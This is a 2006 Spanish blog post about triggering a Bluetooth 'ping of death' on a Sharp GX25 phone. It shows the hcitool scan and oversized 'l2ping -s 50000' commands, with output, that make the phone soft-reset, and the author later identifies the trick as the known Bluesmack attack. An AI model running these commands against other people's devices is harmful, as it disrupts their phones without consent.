Jugando con Bluetooth - III (Explotando Vulnerabilidad sharp Gx25)

Escrito el 13 de septiembre de 2006..

Después de que publicaran en Bluehack un articulo que escribí de Bluetooth sobre hcisniff, me he vuelto de animar con esto del bluetooth. Después de ver que en pocos meses las cosas han avanzado bastante, en una casualidad de la vida he descubierto una fallo en el teléfono sharp Gx25. El fallo en cuestión hace que el teléfono se bloquee por unos instantes parando todo proceso que se estuviera realizando en el momento al recibir un paquete ping muy grande por bluetooth.

Se puede decir que el fallo es parecido al famoso "ping de la muerte", aquella vulnerabilidad que tenían muchos sistemas antiguos en la cual si se enviaba un paquete ping muy grande se podía llegar a colgar el equipo remoto. De eso hace mucho tiempo, pero quien lo iba a pensar, la historia se repite...

Estaba navegando en una web con información sobre bluetooth y herramientas en Linux cuando he visto que parecía una herramienta llamada l2ping, al ver que era una herramienta para hacer pings he pensado que podría comprobar si el ping subía conforme se ponía el teléfono mas lejos, también he pensado que podría enviar paquetes cada vez mas pesados para ver la diferencia de tiempo de respuesta...

Primero de todo he hecho un "hcitool scan" para ver la dirección hexadecimal del móvil.

vicent@ferrervicent:~$
hcitool scan

    Scanning


    08:00:1F:85:4F:A1      
GX25.D

Seguidamente, he dirigido un l2ping hacia la dirección del
teléfono..

    vicent@ferrervicent:~$ sudo l2ping 08:00:1F:85:4F:A1

    Ping: 08:00:1F:85:4F:A1 from 00:70:5A:46:21:67 (data size 44) ?

    0 bytes from 08:00:1F:85:4F:A1 id 0 time 128.62ms

    0 bytes from 08:00:1F:85:4F:A1 id 1 time 51.11ms

    0 bytes from 08:00:1F:85:4F:A1 id 2 time 49.90ms

    0 bytes from 08:00:1F:85:4F:A1 id 3 time 76.45ms

    0 bytes from 08:00:1F:85:4F:A1 id 4 time 78.75ms

    0 bytes from 08:00:1F:85:4F:A1 id 5 time 48.18ms

    0 bytes from 08:00:1F:85:4F:A1 id 6 time 56.75ms

    0 bytes from 08:00:1F:85:4F:A1 id 7 time 56.02ms

    0 bytes from 08:00:1F:85:4F:A1 id 8 time 36.44ms

    0 bytes from 08:00:1F:85:4F:A1 id 9 time 52.51ms
    Send failed: Connection reset by peer

Eso era un ping normal, el teléfono seguía con vida.. lo que no entiendo es porque siempre al cabo de unos segundos se corta la conexión, cosa que ya pasaba con este movil cuando escribí "jugando con bluetooth" I y II.

Para informarme un poco he mirado a ver como se usaba
correctamente l2ping:

vicent@ferrervicent:~$ sudo l2ping

l2ping - L2CAP ping

Usage:

l2ping [-i device] [-s size] [-c count] [-t timeout] [-f]

Eso de size me gusta...., que pasaría si hacemos
un:

    vicent@ferrervicent:~$ sudo l2ping -s 50000 08:00:1F:85:4F:A1

    Ping: 08:00:1F:85:4F:A1 from 00:70:5A:46:21:67 (data size 50000) ?

    no response from 08:00:1F:85:4F:A1: id 0

Se colgó!! Tengo que decir que he puesto 50000 por poner un valor, tampoco sabia realmente de cuanto tamaño estávamos hablando hasta después.. así que son varias coincidencias juntas (decir que funciona con valores bastante mas bajos...), como podéis entender 50000 es demasiado, así que se puede hacer la prueba igualmente enviándole un paquete grande.. pero sin ser excesivo como este.. (decir que si lo haces por ping bajo Ethernet, mi router mismo lo ignoraba :O )

Bueno, un vídeo vale mas que mil palabras sin sentido así
que.. he colgado un vídeo en youtube desde donde podéis ver los cortos pero molestos efectos que podría suponer un ataque de este tipo. Decir que técnicamente -por lo que me han comentado expertos en el tema- lo que el teléfono sufre es un softreset y no una denegación de servicio propiamente dicha..

Este softreset vendría implementado por las bajas capacidades del teléfono, y por lo tanto es una forma de auto limitarse antes de quedarse colgado, aun así no creo que sea la mejor forma de solucionar el problema: Autoresetearse? Haré una comparación, puede que exagerada pero útil: cuando un servidor tiene mucha carga se autoresetea? Está claro que no.. (puede que m$ incorpore esa nueva feature en alguna nueva version del w$ server, pero de momento no, no hay servidores que tengan implementada esa funcionalidad -o por lo menos no voluntariamente que yo sepa-).

Como podemos saber que el teléfono tiene poca capacidad? pues a continuación probaremos a ir aumentando el tamaño del paquete de ping para ver como va aumentando.

44     > de 47 a 96 ms (es el ping estàndard
en l2ping)
500 > 76ms

1000 > de 139 a 169 ms

1500 > de 195 a 230 ms

1850 > de 231 a 246 ms

Resultando la siguiente curva:

También quería hacer una prueba dependiendo de la distancia, claro, como la diferencia entre un ping y otro puede ser mucha, lo que he hecho ha sido capturar un gran volumen de datos y con una simple función en bash exportarlo a un fichero donde los datos estan expresados en el tipo X Y de forma automatizada, porque hacerlo manual podría ser brutal..

Siento decir que ese archivo lo he perdido (es lo que tiene hacer reinstalaciones completas y pensar que no tenias nada importante en el /home) así que en cuanto puedo volveré a hacer la prueba.

Con Gnuplot se podría hacer de todo, pero por ahora me quedo con el OpenOffice Calc ya que el gnuplot lo manejo mas bien poco..

 Comentario a 14/9/06:Ayer por la noche encontré este tipo de fallo, si estaba documentado!.. no para este móvil en concreto sino que es una clase de ataque, el ataque se llama Bluesmack. Y es un fallo de cada dispositivo en cuestión, no del protocolo bluetooth aun así confío que habrá bastantes dispositivos, que como este Gx25 de sharp tendrán el fallo.

Ya me creía yo que había descubierto un bug nuevo.. :( no, pero realmente algo si, ya que nadie antes había probado este tipo de fallo contra un sharp gx25 [si alguien lo ha probado antes, no lo ha puesto en Internet] así que al menos contra el gx25... De todos modos lo que ha servido ha sido la experi?ncia :D

Es la sensacion del sentido Original de Hacker.

Mas comentarios:

Este documento és una traducción con algunas mejoras
del documento original escrito el 13 de septiembre de 2006 en
ferrervicent.com

Además está protegido bajo Creative Commons-es,
compartir igual, reconocimiento y no comercial.

Copyleft 2006, Vicent Ferrer i Rodrigo.

Para más información: www.ferrervicent.com